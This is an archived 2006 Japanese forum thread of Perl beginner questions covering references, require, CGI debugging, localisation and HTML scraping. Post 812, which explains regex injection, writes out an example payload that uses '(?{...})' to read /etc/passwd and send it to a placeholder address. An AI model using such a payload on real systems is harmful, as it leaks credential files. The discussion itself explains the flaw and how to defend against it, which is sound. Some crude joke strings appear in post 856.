Perlコーディング初心者質問スレ Part 52
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2006/09/15(金) 14:01:51ID:gobry0n2【投稿する際の注意】
質問するときは内容をよく吟味してから投稿してください。
「コマンドの意味がわかんない」とかはマニュアル見ましょう。
回答者さんは何でも屋じゃありません。
1: 自分はこういう事がしたい。
2: それでこんな風にやってみたが・・・
3: こんなエラーが出て上手く行かなかった。
最低でも1と3が無いと誰も答えられないよ。
ソース貼る時は、全角スペースでインデント忘れずに。
良い回答は良い質問から。一緒に勉強しましょう。
お勧めサイトは >>2-10
前スレ http://pc8.2ch.net/test/read.cgi/php/1153987463/
過去ログ倉庫 ttp://user.ftth100.com/mirrorhenkan/perl/
0764nobodyさん
2006/11/11(土) 18:45:16ID:???0765nobodyさん
2006/11/11(土) 19:51:38ID:???それはそれですげぇな
0767766
2006/11/11(土) 20:43:59ID:???0768nobodyさん
2006/11/11(土) 20:44:20ID:???探せばわからなくもない。ただしopenしたあとに削除されてたらアウト。
0769nobodyさん
2006/11/11(土) 21:39:58ID:srC1L817aaa => @aaa,
bbb => @bbb,
ccc => @ccc
);
のように、fooオブジェクトのhogeメソッドに配列を渡す時、
sub hoge {
my $self = shift;
my %args = @_;
$self->{aaa} = ?; // @aaaを入れたい
$self->{bbb} = ?; // @bbbを入れたい
$self->{ccc} = ?; // @cccを入れたい
・
・
・
}
とした場合、%argsからどのようにして@aaa、@bbb、@cccを受け取るのでしょうか。
0770nobodyさん
2006/11/11(土) 21:51:54ID:???$foo->hoge(
{
aaa => ¥@aaa,
bbb => ¥@bbb,
ccc => ¥@ccc
}
);
sub hoge {
my $self = shift;
my $args = shift;
$self->{aaa} = $args->{aaa};
・
・
}
まあ実際の処理ではこんな事しないと思うよ。
してたら設計ミスを疑った方が。
0771nobodyさん
2006/11/11(土) 21:59:26ID:???my $self = shift;
my %args = @_;
$self->{aaa} = $args{aaa};
0772nobodyさん
2006/11/11(土) 22:01:07ID:srC1L817ありがとうございます。
では、OOPにおいてメソッドの呼び出し時に配列を渡す場合の受け渡しはどうなるのでしょうか?m(_ _)m
0773nobodyさん
2006/11/11(土) 22:04:15ID:srC1L817ありがとうございます。
その方法は試しましたが、受け取り側($self->{aaa})が配列の要素数を受け取ってしまいました。。。
0774nobodyさん
2006/11/11(土) 22:15:26ID:dAHcCPkr>>772
>>770のとおりで良いと思う。
hashの要素としてlistを直接持てないから、listのリファレンスにするわけ。
0775nobodyさん
2006/11/11(土) 22:25:12ID:srC1L817$self = {
aaa => undef
};
として受け取った場合、$self->{aaa}を配列として扱うことは可能なのですか?
0776nobodyさん
2006/11/11(土) 22:26:23ID:???$self->{aaa} = @{$args{aaa}};
と配列変数のリファレンスを受け取るって書いたつもりでした。
そうすれば、引数のリストを>>770のように匿名ハッシュで囲わなくてもいいんじゃないか、と。
0777nobodyさん
2006/11/11(土) 22:48:53ID:???配列として、は無理。配列のリファレンスとして、扱う。
ちなみに>>770氏は引数全体をhashのリファレンスにし、且つ個々のlist(@aaa とかの部分)も
listのリファレンスにしてるけど、後者は必須だが、前者はただのhashにもできるね。
$foo->hoge(
aaa => ¥@aaa,
bbb => ¥@bbb,
ccc => ¥@ccc
);
sub hoge {
my $self = shift;
my %args = @_;
foreach my $key (keys %args) {
$self->{$key} = $args{$key};
}
}
# @{$self->{$key}} で配列全体を、$#{$self->{$key}} で要素数-1を、$self->{$key}->[0] で個々の値を参照できる
>>776
I see.
0778nobodyさん
2006/11/11(土) 22:55:37ID:???@_ にはサブルーチンの引数がフラットなリストとして展開・格納されます。
また "=>" は本質的に "," のエイリアスに過ぎません。
すなわち @aaa = ( 'xxx', 'yyy', 'zzz' ) である時、hoge( aaa => @aaa ) は hoge( 'aaa', 'xxx', yy'y', 'zzz' ) と等価です。
さらには %args = ( aaa => @aaa ) とやってしまうと、
$args{aaa} == 'xxx'
$args{yyy} == 'zzz'
という内容のハッシュが出来上がります。これは恐らくあなたが望むものではないでしょう。
サブルーチン引数やハッシュ代入における配列 (より正確には全ての非スカラー) の独立性を保つには、偶然にも同じ解決策が使えます。
「リファレンス」がそれで、>>770 で実装の一例が述べられています。
perlref, perllol, perlsub などのマニュアルが役に立つでしょう。
# 他の言語から Perl に移行する場合は混乱するよな、実際。
0779nobodyさん
2006/11/11(土) 23:07:00ID:5mpuYPBZ理解するまでしばらくかかりそうなので、理解してまた返信させていただきますm(_ _)m
0780nobodyさん
2006/11/11(土) 23:28:01ID:t9lEuzhq(なんか良く分からなくなってきましたが・・・)
質問に答えていただいた方、ありがとうございました。
ところで、こういう細かいことが書かれているオンラインのマニュアルなどはあるのでしょうか?
0781nobodyさん
2006/11/11(土) 23:44:57ID:???>>779
特に perlref。ぐぐればいいよ。
listもhashも、複数の値でできてる。複数の値なんで、それを一つの値であるかのように、
$a{'aaa'} = @aaa;
とすることはできない。
しかし、リファレンスっていうのはそれ自体は一つ。なので、
$a{'aaa'} = ¥@aaa;
は可能なんですよ。
%aa = ('aa' => 'AA', 'aaa' => 'AAA');
%bb = ('bb' => 'BB', 'bbb' => 'BBB', 'bbbb' => 'BBBB');
hoge(%aaa, %bbb);
はhogeに10個の引数を渡していることになるけど、
hoge(¥%aaa, ¥%bbb);
は2個の引数を渡してるんですよ。
0782nobodyさん
2006/11/11(土) 23:48:10ID:???%aa = ('aa' => 'AA', 'aaa' => 'AAA');
%bb = ('bb' => 'BB', 'bbb' => 'BBB', 'bbbb' => 'BBBB');
hoge(%aa, %bb);
はhogeに10個の引数を渡していることになるけど、
hoge(¥%aa, ¥%bb);
は2個の引数を渡してるんですよ。
0783nobodyさん
2006/11/12(日) 01:13:46ID:???Perlで作られた日本語版のWEB CGIゲームを
英語版に改造しようとしているのですが、(作者の許可は取得済み)
作業の進め方がわかりません。
どうしたらいいですか?
二人のチームでやるのですが、
自分が翻訳担当で、もうひとりが技術担当です。
まず日本語の用語を全部リストに洗い出して、
それをかたっぱしから英語に直していって、
翻訳が終わった分から、技術者に渡して、
技術者はできあがった翻訳を受け取ったら、
正規表現か何かでガァーーっと
英語に置換していけばいいのですか?
0784nobodyさん
2006/11/12(日) 01:19:07ID:???0785nobodyさん
2006/11/12(日) 01:34:08ID:???ソースの中の日本語部分を英語に翻訳すればいいだけなのか。
あるいはCGIで生成される日本語も英語に翻訳しなければならないのか、
あと、一つの用語を翻訳して、それを28のファイル全部に
行き渡らせるにはどうしたらいいのか。
0786nobodyさん
2006/11/12(日) 01:46:37ID:???それが難しいってなら、普通にソース中の文字列リテラルを地道に翻訳するしかないだろうね。
0787nobodyさん
2006/11/12(日) 01:55:13ID:???ようはいきなりソース中にべた書きされてる日本語を英語訳するよりも、
「言語パック」
みたいのをつくって、エンジン部分は翻訳者はまったくさわらずに
すむような状況を作ってから、翻訳者に仕事をさせたほうがいいと?
0788nobodyさん
2006/11/12(日) 01:57:45ID:???↑って>>783か?
なんか質問の仕方がなってない。
「〜いのか。」
> ソースの中の日本語部分を英語に翻訳すればいいだけなのか。
他に何かする必要あるのかよ。
> あるいはCGIで生成される日本語も英語に翻訳しなければならないのか
それって「ソースの中の日本語部分を英語に翻訳」じゃないの?
> あと、一つの用語を翻訳して、それを28のファイル全部に
> 行き渡らせるにはどうしたらいいのか。
行き渡らせるの意味が不明。
28のファイルなんて言われてもこっちは知らない。
もし、28個のファイルに同じ用語(日本語)があってそれを
英語に置き換えたいというのなら正攻法でひとつひとつ
やってけ。
もしくは http://akky.cjb.net/download/speeeeed.html みたいなソフト
使って置き換えれば?
> 技術者はできあがった翻訳を受け取ったら、
> 正規表現か何かでガァーーっと
> 英語に置換していけばいいのですか?
技術者なのにそんなことも分からんのかい。
日本語に依存する処理(例えばjcode.plやJcode.pmによる文字コード変換)
をしているところは削ったりとか英語用に変えるとかも必要になったりするでしょ。
0789nobodyさん
2006/11/12(日) 02:06:52ID:???らめぇええええ
漏れ技術者じゃないぃいいいい
ただの翻訳者ぁああああ
0790nobodyさん
2006/11/12(日) 02:09:52ID:???技術者出てこい、じゃないかな。
ハードコードしてあるリテラルを翻訳者が訳して地道に修正するのか、
リソースとして外出しにするにか、ってのは技術者が判断しなきゃないんじゃ?
0791nobodyさん
2006/11/12(日) 07:43:27ID:???0792nobodyさん
2006/11/12(日) 09:13:18ID:???使用中の掲示板のスクリプトに、ログ機能を追加するためplファイルを作り、
読み込み開始直前に require 'xx.pl '; を挿入しました
このままだと自分の記録も入ってしまうのでキャンセルするようにif条件で
ログ記録を部分を以下のようにしたところエラーが出てしまいました
if($name ne "自分"){
--ログファイルへの読み書き部分-- }
仕方なくjcode.plの最後を参考にし、
}
1;
としました、これで動作しました
この最後の1;はどうして必要なのでしょうか?
0793nobodyさん
2006/11/12(日) 10:00:19ID:???みたいなのは順番も変えなくちゃだから、
ただリテラルを直すだけじゃ足りないかもしれない。
0794nobodyさん
2006/11/12(日) 12:11:30ID:JI5vE2Zgありがとうございます!
本当にPerlって奥が深いですね・・・もっと勉強しますm(_ _)m
0795nobodyさん
2006/11/12(日) 12:13:16ID:???ただそれだけだろ?
で、何人かが書いている通りリソースを分離できるなら
(1)分離できるところは分離する
(2)(1)の作業中に分離できないところを翻訳
(3)分離後ソースを改造開始し、(2)で分離したリソースの翻訳
これがベストか?
0796nobodyさん
2006/11/12(日) 12:22:19ID:???> ログ記録を部分を以下のようにしたところエラーが出てしまいました
Internal Server Errorだったら文法ミスとかでしょ。
鯖のエラーログ見るか文法チェックしてみ。
肝心な部分が省略されてるから答えられるのはこの程度しかない。
> この最後の1;はどうして必要なのでしょうか?
"requireしたファイルの最後"を明示しないとエラーになることがあるから。
1;がその役割。
0797nobodyさん
2006/11/12(日) 13:02:21ID:???if構文を入れなければ、「1;」を省略しても実行されるので
文法ミスではないと思いますが、if(){}を使ったことで
>ファイルの最後"を明示しないとエラーになる
が発生したものと思われます
有り難うございました
0798nobodyさん
2006/11/12(日) 13:41:44ID:???細かいとこなんだけれど一応。スルー力不足を露呈してみる。
>>796 の説明には若干の誤解があります。
require が読込むファイルは最後に真を返す必要があります。
より正確には、require されるコードが正しく実行されたかどうかの真偽を、そのコードから返す機能の名残ですが、今では誰も覚えていませんし、覚える必要もありません。
require はファイルが偽を返した場合、require されたコードの初期化に失敗したものと見なし、例外を吐いて死にます。
0800nobodyさん
2006/11/12(日) 21:22:52ID:???ありがとう、胸がすっとしたぜ!
0801nobodyさん
2006/11/13(月) 04:13:23ID:???CGI/Perl のデバッグをしたい (phpのWARNINGのような詳細なエラーを出したい) のですが、良い方法は無いでしょうか?
エラーが出たときにApacheのエラーログを見ても、「Premature end of script headers: example.cgi」 程度の記述しか表示されません。
サーバは、Fedora Core 4 + Apache 2.2.0 + Perl 5.8.6 (SuExecは使っていません。) と一般的な構成です。
ご教示お願いします。
0802nobodyさん
2006/11/13(月) 04:19:09ID:???このCGIには問題点があり、if ("検索対象文章" =~ /$hoge/i) の $hoge が "+" なので、正規表現として不正になっています。
本来ならば、500 Internet Sever Error となるべきだと思うのですが、何故かエラーにならず、スクリプトが強制終了されるだけになります。
これは何故でしょうか?
if ("検索対象文章" =~ /+/i) と書けば、当然 500 Internet Sever Error になります。
--------------- test.cgi ---------------
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "CGI開始";
$hoge = "+";
if ("検索対象文章" =~ /$hoge/i) {
print "マッチしました。";
} else {
print "マッチしませんでした。";
}
print "CGIエンド";
exit;
----------------------------------------
ちなみに、この $hoge は実際にはCGIのユーザ入力の値です。
OSインジェクションやSQLインジェクションは聞いた事がありますが、Perl正規表現インジェクションという話は聞いた事はありませんが、
もしこの実装に、スクリプトの強制終了以外のセキュリティ上の問題点がありましたら教えていただけたら幸いです。
また、ようするに検索エンジンのように文章の検索を行いたいわけですが、ユーザ入力の正規表現のメタ文字の無効化方法がありましたら
教えて下さい。
お願いします。
0803802
2006/11/13(月) 05:00:38ID:???これに関しましては、自分で知っているメタ文字をエスケープするコードを書いてみました。
もし、エスケープ漏れがあったら教えて下さい。
$_ =~ s/\\/\\\\/g;
$_ =~ s/\^/\\\^/g;
$_ =~ s/\./\\\./g;
$_ =~ s/\$/\\\$/g;
$_ =~ s/\*/\\\*/g;
$_ =~ s/\?/\\\?/g;
$_ =~ s/\|/\\\|/g;
$_ =~ s/\(/\\\(/g;
$_ =~ s/\)/\\\)/g;
$_ =~ s/\[/\\\[/g;
$_ =~ s/\]/\\\]/g;
$_ =~ s/\{/\\\{/g;
$_ =~ s/\}/\\\}/g;
$_ =~ s/\+/\\\+/g;
0804nobodyさん
2006/11/13(月) 05:01:40ID:???use CGI::Carp qw(fatalsToBrowser);
をCGIファイルの先頭付近に。他にもKCatchとかあるから探してみそ
>>802
ヘッダを吐き出していればdieしようが何しようが表示されるのね。
/+/だと500エラーになるのは、解釈段階でエラーが発生するため。
対して/$hoge/だと$hogeの値は評価段階にならないと決定されないから
先にヘッダが出力される。よって500エラーにならない。
Perlは正規表現中に任意のコードを含めることが可能なのは事実だけれど(?{ ... })、
それなりに安全対策がしてあるので、許可しなければ外部コードが
実行されてしまうということは無いと思われる。
see also: perlre, ttp://search.cpan.org/~nwclark/perl-5.8.8/ext/re/re.pm
強制終了しないようにするためにはevalブロックを用いるといい。
そのユーザの入力というのは正規表現を期待してるのだよね?
正規表現的に意味のある文字を全てエスケープしてしまうという意味なら、
quotemeta関数なり、/\Q$hoge\E/なりがあるけれど。その場合ならindex関数を使う手もある。
0805804
2006/11/13(月) 05:12:29ID:???スマソ、思いっきり勘違いした警告か。
use warnings;
もしくはShebang行にこのように-wをつける。
#!/usr/bin/perl -w
で、さっきのと組み合わせて
use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
...
warningsToBrowser(1);
のようにすると出力上にコメントとして出てくる。
0806802
2006/11/13(月) 05:46:37ID:???ご丁寧な回答ありがとうございます。
#!/usr/bin/perl -w
use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
を試してみます。
また、evalブロックについてのページも参考になりました。
> Perlは正規表現中に任意のコードを含めることが可能なのは事実だけれど(?{ ... })、
これはちょっと気になるので、もしよろしければ参考URLを教えていただけたら幸いです。
> その場合ならindex関数を使う手もある。
結局それに気がついて index 関数使っちゃいました。
大文字小文字を区別することができなくなりましたが、そこは諦めます。
0807nobodyさん
2006/11/13(月) 09:26:04ID:???(?{ ... })については参考URLをさがすまでもなくperldoc perlreにちゃんと書いてあるが。
0808802
2006/11/13(月) 11:06:39ID:???ありがとうございます。
見つかりました。
http://www.kt.rim.or.jp/~kbk/perl5.005/perlre.html
正規表現中でのコードの実行機能は use re 'eval'; と宣言しない限り、使用できないようです。
ってことでユーザ入力値の値をいきなり代入したところでセキュリティ上の問題は無さそうですね。
# ただし、処理に時間のかかる正規表現をいれることにより、
# DoSに使えるかも。
0809nobodyさん
2006/11/13(月) 14:35:35ID:???0811nobodyさん
2006/11/13(月) 14:52:19ID:???いくらwarningsToBrowserやfatalsToBrowserしてもやっぱり何もでないんじゃないか。
ログみられなかったり見るのが面倒な人がつかうもんだろ?
処理系が検出するようなエラーはないがそもそもロジックがおかしい予感。
0812nobodyさん
2006/11/13(月) 14:54:42ID:???ようするに任意のコマンドが実行できる脆弱性ってことでしょ
use re 'eval';
$a =~ /$GET['search']/
こういうことしていると、「(?{open("| cat /etc/passwd > hoge@example.com"})」 を送信されたときに
/etc/passwd がクラッカーに渡ってしまう。
正規表現インジェクションとでも呼べばいいだろうか
対策は正規表現のメタ文字のエスケープだね。
0813nobodyさん
2006/11/13(月) 16:20:57ID:???コンソール版はなしですか?
0814nobodyさん
2006/11/13(月) 17:01:43ID:???以前の対話形式はppm-shell
コマンドラインなら
ppm command arg
でも行ける
# 殆どGUI版使ってないや
0816nobodyさん
2006/11/13(月) 20:06:21ID:???0818nobodyさん
2006/11/14(火) 00:35:27ID:???CGIその1内のデータを、CGIその2に受け渡すにはどうしたらいいのでしょうか?
「アドレス?パラメータ」の形で、フォームのデータをやり取りするようにデータが渡せると
書いてあったので、「アドレス?a=$a&b=$b&c=$c」というようにすれば、CGIその1で
変数aに代入したデータをCGIその2に送ることが出来るかと思ったので、
require 'cgi-lib.pl';
&ReadParse( *form );
$a = $form{'a'};
$b = $form{'b'};
$c = $form{'c'};
として、
print "${a}${b}${c}\n";
と表示してみようとしても、どの変数も空のままなのか何も表示されません。
どうすれば、変数データ等はやり取りできるようになるのでしょうか?
0819nobodyさん
2006/11/14(火) 01:02:20ID:???<input type="hdden" name="a" value="value of a">
みたいにフォームに仕込むのが簡単かな。
クライアント側でいじれちゃうというデメリットがあるけどね。
0821nobodyさん
2006/11/14(火) 04:24:01ID:???my $file = "no001.jpg";
print -s $file;
上記のようにファイルサイズを出力するスクリプトで
正規表現を用いて no???.jpg にマッチするファイルのサイズを表示させたいのですが
方法が思いつきません
分かるかたいましたらご指導お願いいたします。
0822nobodyさん
2006/11/14(火) 07:25:09ID:???0823nobodyさん
2006/11/14(火) 13:15:59ID:???LFにしたいのですが、どうやってもCRLFになってしまいます。
自宅のwindows上でも、xreaでもCRLFで出力されてしまいます。
0824nobodyさん
2006/11/14(火) 13:38:15ID:???ちゃんと出力されていました。
ブラウザでの保存時に勝手に改行コードが変えられていたようです。
0825nobodyさん
2006/11/14(火) 14:07:32ID:???loopで回して同じことして加算すれば。loopは opendir 派でなければ
foreach $hoge (<no???.jpg>) {
}
コマンドラインでなら ls -l と awk で One Liner するけどね
0826nobodyさん
2006/11/14(火) 15:06:38ID:???随時更新される Yahoo! のトップのソースぐらいぐちゃぐちゃ (文法もぐちゃぐちゃでテーブルレイアウト、勿論適切なidはついていません) なHTMLから
特定の場所のデータを抜き出して、変数に代入したいといった感じです。
<table>
<tr>
<td>AAA</td>
<td>BBB</td>
<td>CCC</td>
</tr>
<tr>
<td>DDD</td>
<td>EEE</td>
<td>FFF</td>
</tr>
</table>
例えば、上のようなテーブルのBBBの部分が随時かわるとして、それを動的に取得するかんじですね。
実際には外部のサーバのデータとなりますが、wget+cronで取得するつもりなのでそこはいいんですが、HTMLから
一部のデータを抜き出すのに便利なモジュールなどはありますでしょうか?
なかったら地味に自分でロジック組んで見ます。
0827nobodyさん
2006/11/14(火) 15:37:42ID:???$get=($html=~ m#<td>(.*?)</td>#g)[$n];
そんなもんわざわざモジュール使わなくて書いたほうがシンプルじゃん
0828nobodyさん
2006/11/14(火) 15:49:46ID:???でも正規表現でひっぱってくるしかないと思う
ソースの書き方が変わったら終わりだけど。
HTML::Parserみたいなのではないだろうし・・・
0829nobodyさん
2006/11/14(火) 22:30:15ID:???0830nobodyさん
2006/11/15(水) 11:31:14ID:???0831nobodyさん
2006/11/15(水) 22:37:01ID:???呼び元から利用可能なサブルーチンの一覧を得る方法はありますか?
0832nobodyさん
2006/11/16(木) 01:05:15ID:???これってお手本にしていいんでしょうか。
お手本的なコードを紹介してもらえないでしょうか。
0833nobodyさん
2006/11/16(木) 01:52:46ID:???&$name;
sub test {
print 'test';
}
2行目ゎうそんこ。$nameを使って&testを実行することはできますか?
0834nobodyさん
2006/11/16(木) 01:54:54ID:???main.plからFoo.pmを呼んでいるとして、
@Foo::EXPORTと@Foo::EXPORT_OKを確認したらいいんじゃないかと思う。
存在するとは限らないけど。オブジェクト指向なモジュールとかだとなにもエクスポートしないしね。
そうでなかったら直接シンボルテーブルを覗くとか。
>832
つttp://search.cpan.org/
0835nobodyさん
2006/11/16(木) 01:59:33ID:???それ自分で書いて、実行してみた?
use strict 'refs' してなければそれでいけるよ。
文字列をデリファレンスすると、自動的にシンボルテーブルからひっぱってくる。
0836nobodyさん
2006/11/16(木) 02:04:27ID:???$name = ¥&test; # use strict 'refs' OK
$name->();
$name = 'test'; # use strict 'refs' NG
$name->();
$name = 'test';
eval "$name()";
$name = 'test()';
eval $name;
0837nobodyさん
2006/11/16(木) 02:11:57ID:???833はuse strictしてる場合、エラーになりました。
'refs'はよくわからないので調べてみます。
そこだけno strictするのは素人ですか?
0839nobodyさん
2006/11/16(木) 02:19:01ID:???my $name = sub {
print "test";
};
$name->();
0840nobodyさん
2006/11/16(木) 02:20:04ID:???834さんと836さんありがとう!!
0841nobodyさん
2006/11/16(木) 02:22:36ID:???'refs' を付けると、シンボリックリファレンス(文字列をデリファレンス)だけを制限できる。
この辺は perldoc strict 参照。
ちゃんと理解してて no strict するなら問題ないと思うよ。むしろ常套手段。
0842nobodyさん
2006/11/16(木) 02:40:44ID:???外部ファイルからプラグイン的なものを自動取得する方法を考えてたんですが、
できそうな気がしてきました。サブルーチンを全部飲み込もうかと。
後から間違いだったと気づくかも知れませんが。
0843nobodyさん
2006/11/16(木) 03:59:26ID:???0844nobodyさん
2006/11/16(木) 11:46:04ID:???perl で作られた FreeStyle Wiki(ttp://fswiki.poi.jp/wiki.cgi)にもプラグインの機能が
あるけど、もしかしたら参考になるかも。
0845nobodyさん
2006/11/16(木) 14:35:02ID:???0846nobodyさん
2006/11/17(金) 01:51:27ID:???今回たくさんWIKI系を参考にしてたんですが、FreeStyleはコメントが日本語なのもあって
見やすいですね。そしてざっと見ただけでも参考なるコーディングがすでに沢山見つかってます。
0847nobodyさん
2006/11/17(金) 11:32:42ID:???(.*?) はどういう意味でしょうか?
「perl ".*?"」で5個以上の検索エンジンで検索したのに、全部記号部分が無視されましたorz
. = 任意の文字
* = 直前の文字を0回以上にマッチ
? = 直前の文字を0又は1回にマッチ
ですが、「.*?」 にする意味が分からないです。
0848847
2006/11/17(金) 11:46:48ID:???m は 改行無視、gは繰り返しマッチ、だと思うんですが /mg をかっこよく左右に分離させて
バランス良く美しく書いている感じでしょうか?
何かいい解説サイトがありましたら教えていただけたら幸いです。
0849nobodyさん
2006/11/17(金) 11:52:51ID:???ネットでも「Perl 正規表現」で複合検索かければイパーイあるでし
0850nobodyさん
2006/11/17(金) 12:45:57ID:???$get=($html=~ m#<td>(.*?)</td>#g)[$n];
$get=($html=~ /<td>(.*?)<\/td>/g)[$n];
同じ。
セパレータが違うのと、m演算子はセパレータが/の時だけ省略できる
(.*?)は任意の文字列
検索しても、読まないと意味が無いぞ!!
0851nobodyさん
2006/11/17(金) 13:00:08ID:???0852nobodyさん
2006/11/17(金) 13:08:37ID:???0853852
2006/11/17(金) 13:09:29ID:???そまそ。
0854nobodyさん
2006/11/17(金) 19:14:27ID:???([^<]+)<とかやってたよ
0855nobodyさん
2006/11/17(金) 20:02:23ID:3ps2NDUf0856nobodyさん
2006/11/17(金) 20:46:15ID:???$hoge = 'ぺにす';
{
local $hoge; # ちょっとどいてね
$hoge = 'わぎな';
}
print $hoge;
myのつかいかた
{
my $hoge = 'ちんぽ'; # ぶろっくの中だけ使えるね
}
print $hoge;
0857nobodyさん
2006/11/18(土) 00:00:27ID:???0858nobodyさん
2006/11/18(土) 01:14:14ID:gJVNJgdHややスレ違いかもしれませんが質問させてもらいます。
Perl+MySQLでプログラムを書いていまして、IDとしてオートインクリメントされる
フィールドを設けているのですが、INSERTでレコードを挿入したあとに、
オートインクリメントされた値を知りたい(変数に格納したい)のですが、何か簡単
な方法はありますか?
0859858
2006/11/18(土) 02:19:05ID:gJVNJgdH0861nobodyさん
2006/11/18(土) 18:58:43ID:???404だけでなく、ファイルが無ければ特定URLに転送される場合にも対応したいと思っています。
LWP::Simpleを使ってgetとheadで実験してみたところ、
共にリンク先が無い場合、転送先のページに飛んでそれを取得してきました。
head関数では($content_type, $document_length, $modified_time, $expires, $server)の配列が
返されるとのことですが、
$document_length→body部分の文字数
$modified_time→取得にかかった時間
という理解でよいのでしょうか?(質問1)
現在$document_lengthでリンク先の状態を判別しようと思っていますが、さらに精度のよい判別が
できる関数がありましたらご教授願いたいです。(質問2)
0862nobodyさん
2006/11/18(土) 19:34:29ID:???modified_time 最終更新時間
$response -> status_line;
0863861
2006/11/19(日) 02:39:50ID:???こんな感じのソースです。
#!/usr/local/bin/perl
# モジュールを保存した場所を指定
use lib qw(../../../perl/lib/perl5/site_perl/5.8.4);
# モジュールを使う
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new('GET', 'http://yahoo.co.jp/');
$res = $ua->request($req);
$res->content;
print "Content-type: text/html\n\n";
print "<html><head><title></title></head><body>";
print "$res";
print "</body></html>";
すると、画面に「HTTP::Response=HASH(0x8309728)」とだけ表示されました。
16進数で何かしらのデータが受信して表示されていると思うのですが、$resが何なのか分かるように
表示するにはどうしたらいいのでしょうか?
■ このスレッドは過去ログ倉庫に格納されています